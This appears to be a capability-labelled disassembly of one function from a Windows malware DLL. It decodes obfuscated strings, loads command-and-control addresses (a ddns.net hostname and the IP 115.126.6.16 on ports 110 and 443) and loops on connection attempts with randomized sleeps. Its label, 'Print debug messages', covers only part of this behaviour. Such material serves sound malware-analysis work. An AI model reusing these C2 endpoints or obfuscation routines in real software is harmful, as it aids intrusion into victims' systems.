Function at 0x100012e7
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x7dc4
call fcn.10013f40
mov eax, dword [0x1001d008]
xor eax, esp
mov dword [esp + 0x7dc0], eax
push ebx
push esi
push edi
push 0x5a
pop eax
push 0x52
mov word [esp + 0x6e3c], ax
pop eax
push 0x4b
mov word [esp + 0x6e3e], ax
pop eax
push 0x56
mov word [esp + 0x6e40], ax
pop eax
push 0x5d
pop ecx
push 0x4a
mov word [esp + 0x6e42], ax
pop eax
push 0x53
mov word [esp + 0x6e46], ax
pop eax
push 0x4c
mov word [esp + 0x6e48], ax
pop eax
push 0x5f
mov word [esp + 0x6e4a], ax
pop eax
push 0x61
mov word [esp + 0x6e4c], ax
pop eax
push 0x4f
mov word [esp + 0x6e4e], ax
pop eax
push 0x6f
mov word [esp + 0x6e50], ax
pop eax
push 0x6c
mov word [esp + 0x6e52], ax
pop eax
push 0x73
mov word [esp + 0x6e54], ax
pop eax
push 0x76
mov word [esp + 0x6e56], ax
pop eax
push 0x74
pop ebx
push 0x68
mov word [esp + 0x6e58], ax
mov word [esp + 0x6e5a], ax
pop eax
push 0x7a
pop edx
push 0x65
mov word [esp + 0x6e5e], ax
pop eax
push 0x5e
mov word [esp + 0x6e44], cx
mov word [esp + 0x6e62], ax
mov word [esp + 0x6e64], cx
pop ecx
push 0x44
pop eax
push 0x47
mov word [esp + 0x6e68], ax
pop eax
push 0x62
mov word [esp + 0x6e6a], ax
pop eax
push 0x5b
mov word [esp + 0x6e6e], ax
pop eax
push 0x66
mov word [esp + 0x6e70], ax
pop eax
mov word [esp + 0x6e58], bx
mov word [esp + 0x6e5c], dx
mov word [esp + 0x6e62], cx
mov word [esp + 0x6e68], cx
mov word [esp + 0x6e6e], ax
movaps xmm0, xmmword [0x1001aa00]
lea esi, [esp + 0x6e38]
push 0x72
pop eax
push 0x69
mov word [esp + 0x6e76], ax
pop eax
mov word [esp + 0x6e78], ax
push 0x6e
pop eax
mov word [esp + 0x6e7a], ax
xor eax, eax
mov word [esp + 0x6e70], dx
mov edi, eax
mov word [esp + 0x6e74], dx
mov word [esp + 0x6e76], bx
mov word [esp + 0x6e7c], bx
mov word [esp + 0x6e7e], ax
movups xmmword [esp + 0x6e1c], xmm0
mov dword [esp + 0x6e2c], 6
mov dword [esp + 0x6e30], 9
mov dword [esp + 0x6e34], 1
mov eax, edi
mov bl, byte [esi]
cdq
push 7
pop ecx
idiv ecx
sub bl, byte [esp + edx*4 + 0x6e1c]
cmp bl, 0x21
inc edi
lea eax, [ebx + 0x59]
movzx ecx, al
movzx eax, bl
cmovae ecx, eax
xor ebx, ebx
movzx eax, cl
mov word [esi], ax
lea esi, [esi + 2]
cmp word [esi], bx
jne 0x100014b7
lea ecx, [esp + 0x6e38]
call fcn.100010c6
test eax, eax
je 0x10001849
push 0x2598
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.10005730
add esp, 0xc
lea eax, [esp + 0x6fc8]
push 0x200
push ebx
push eax
call fcn.10005730
push 0x44
pop eax
push 0x65
mov word [esp + 0x6e2c], ax
lea edx, [esp + 0x6e48]
pop eax
push 0x66
mov word [esp + 0x6e2e], ax
pop eax
push 0x61
mov word [esp + 0x6e30], ax
pop eax
push 0x75
mov word [esp + 0x6e32], ax
pop eax
push 0x6c
mov word [esp + 0x6e34], ax
pop eax
push 0x74
mov word [esp + 0x6e36], ax
pop eax
push 0x53
pop ecx
push 0x72
mov word [esp + 0x6e38], ax
mov word [esp + 0x6e3c], ax
pop eax
push 0x69
mov word [esp + 0x6e3e], ax
pop eax
push 0x6e
mov word [esp + 0x6e40], ax
pop eax
push 0x67
mov word [esp + 0x6e42], ax
pop eax
mov word [esp + 0x6e40], ax
add esp, 8
xor eax, eax
mov word [esp + 0x6e2e], cx
mov word [esp + 0x6e3a], ax
lea eax, [esp + 0x6fcc]
push eax
push ecx
lea eax, [esp + 0x6e28]
push eax
call fcn.100034f7
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x6fd8]
add esp, 0x10
push eax
lea eax, [esp + 0x252c]
push eax
call esi
push str.2.01
lea eax, [esp + 0x4a0]
push eax
call esi
push str.
lea eax, [esp + 0x4f0]
push eax
call esi
push 0x10
pop ecx
mov esi, str.dalailamatrustindia.ddns.net:110
lea edi, [esp + 0x6e98]
rep movsd dword es:[edi], dword [esi]
inc ebx
push 8
movsw word es:[edi], word [esi]
pop ecx
xor eax, eax
lea edi, [esp + 0x6eda]
rep stosd dword es:[edi], eax
push 0x10
pop ecx
mov esi, str.dalailamatrustindia.ddns.net:443
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x6efc]
rep movsd dword es:[edi], dword [esi]
push 8
pop ecx
push 8
movsw word es:[edi], word [esi]
lea edi, [esp + 0x6f42]
mov esi, str.115.126.6.16:110
rep stosd dword es:[edi], eax
pop ecx
push 0x42
stosw word es:[edi], ax
lea eax, [esp + 0x6f86]
lea edi, [esp + 0x6f64]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor esi, esi
push esi
push eax
call fcn.10005730
add esp, 0xc
push esi
call fcn.1000900b
pop ecx
push eax
call fcn.100084fb
pop ecx
push 0x7fe
lea eax, [esp + 0x75ce]
mov dword [esp + 0x10], esi
push esi
push eax
call fcn.10005730
add esp, 0xc
lea edi, [esp + 0x75c8]
xor edx, edx
mov eax, ebx
push 3
pop ecx
div ecx
push 0x19
imul eax, edx, 0x64
pop ecx
push 0x3a
lea esi, [esp + eax + 0x6e38]
lea eax, [esp + 0x75cc]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.10004fd6
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10001820
xor eax, eax
lea edi, [esp + 0x6e86]
mov word [esp + 0x6e84], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esi + 2]
push eax
push 0x1001a978
lea eax, [esp + 0x6e8c]
push 0xa
push eax
call fcn.10001026
lea eax, [esp + 0x6e94]
push eax
call fcn.10008efe
mov dword [esp + 0x24], eax
add esp, 0x14
xor eax, eax
mov word [esi], ax
lea eax, [esp + 0x75c8]
push eax
lea eax, [esp + 0x20]
push 0x200
push eax
call fcn.10008f28
add esp, 0xc
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x10001820
mov esi, dword [esp + 0x10]
test esi, esi
je 0x10001820
cmp esi, 0xffff
jae 0x10001820
push 0x400
xor edi, edi
lea eax, [esp + 0x71cc]
push edi
push eax
call fcn.10005730
add esp, 0xc
lea eax, [esp + 0x1c]
push esi
push eax
push str.DLL___Start_connect_to__ws:_d
lea eax, [esp + 0x71d4]
push 0x400
push eax
call fcn.10001082
add esp, 0x14
lea eax, [esp + 0x71c8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [esp + 0x25a8]
call fcn.100023f8
push edi
push edi
push 1
push edi
mov dword [esp + 0x25b8], 0x1001a9a4
mov dword [esp + 0x6e18], edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esp + 0x6e0c], eax
lea esi, [esp + 0x10]
lea eax, [esp + 0xc]
mov dword [esp + 0x6e10], edi
push eax
mov eax, 0x2598
call fcn.10013f40
mov edi, esp
mov ecx, 0x966
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x4b44]
call fcn.10001fdf
lea ecx, [esp + 0x25a8]
call fcn.10001f7d
call fcn.100084da
push 0x65
cdq
pop ecx
idiv ecx
add edx, 0x32
imul eax, edx, 0x258
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, ebx
inc ebx
push 0
pop esi
test eax, eax
jne 0x1000168e
mov ecx, dword [esp + 0x7dcc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000423e
mov esp, ebp
pop ebp
ret